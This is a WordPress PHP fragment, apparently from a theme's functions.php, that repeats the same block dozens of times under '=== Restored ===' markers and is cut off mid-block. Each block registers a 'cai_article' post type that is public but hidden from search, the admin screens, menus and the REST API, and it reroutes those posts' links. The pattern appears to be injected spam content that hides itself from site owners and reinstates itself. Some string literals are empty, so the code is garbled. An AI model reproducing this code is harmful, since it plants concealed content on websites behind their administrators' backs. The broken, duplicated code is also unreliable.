add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
